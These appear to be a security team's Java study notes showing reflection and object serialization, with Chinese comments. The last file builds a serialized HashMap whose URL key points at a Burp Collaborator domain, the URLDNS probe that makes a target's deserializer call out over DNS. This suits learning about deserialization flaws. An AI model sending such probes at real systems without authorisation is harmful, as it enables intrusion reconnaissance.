package com.vuldemotest.testqax.entity;
import lombok.AllArgsConstructor;import lombok.Data;import lombok.NoArgsConstructor;
import java.io.Serializable;
@Data@AllArgsConstructor@NoArgsConstructorpublic class Person implements Serializable {
    public String name;    private int age;
    public void action(String act){        System.out.println(act);    }}

package com.vuldemotest.testqax.entity;
import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;
public class Reflection {    public static void main(String[] args) throws Exception,ClassNotFoundException {        //反射就是操作Class  Class就是原型class        // 反射的作用是在执行过程中进行对象的修改，可能表述有误，之前老师讲的，记不清了        Person person = new Person();        Class<?> c = person.getClass();
        //等于上面,但是这个方式需要写路径，有时候会写错        Class<?> cc = Class.forName("com.vuldemotest.testqax.entity.Person");
        //获取到原型Class后，就可以开始准备实例化对象        // 实例化对象需要先获取到构造方法，根据构造方法进行参数类型写入        Constructor<?> personconstructor = c.getConstructor(String.class, int.class);        //使用构造方法进行对象实例化        Object p = personconstructor.newInstance("lww", 19);        System.out.println(p);
        //获取类里面的属性 这个只能获取公共属性，私有属性也要获取得用getDeclaredFields        Field[] fields = c.getFields();        for (Field field : fields) {            System.out.println(field);        }
        //当一个类已经实例化了对象，那么通过反射，可以修改对象中的值，比如上面实例化了一个对象p,可以通过反射修改其中的值        //获取对应属性,并修改        Field namefield = c.getField("name");        namefield.set(p,"lhh");        //获取私有属性，并修改        Field agefield = c.getDeclaredField("age");        //允许访问私有属性 私有变量访问受限，有访问检查，暴力访问        agefield.setAccessible(true);        agefield.set(p,20);        System.out.println("通过反射修改后的对象p的值："+p);

        //调用类里面的方法,我们在Person里面写了一个action方法  如果是私有方法则是Declared        // 首先先获取方法        Method actionM = c.getMethod("action", String.class);        //触发方法        actionM.invoke(p,"hello,reflection");    }}

package com.vuldemotest.testqax.entity;
import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.net.URL;import java.util.HashMap;
public class SerializableDemo1 {    //接收一个类对象进行序列化    public static void serialize(Object obj) throws IOException {        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("src/main/resources/ser.txt"));        oos.writeObject(obj);        oos.close();    }
    public static void main(String[] args) throws IOException {        HashMap<URL, Integer> hashMap = new HashMap<>();        hashMap.put(new URL("http://xtuo427rfsw7fy4yfx2j28yu5lbbz0.burpcollaborator.net"),1);        serialize(hashMap);    }}

END

感谢大哥们的对NOVASEC的支持点赞和关注

加入我们与萌新一起成长吧！

本团队任何技术及文件仅用于学习分享，请勿用于任何违法活动，感谢大家的支持！！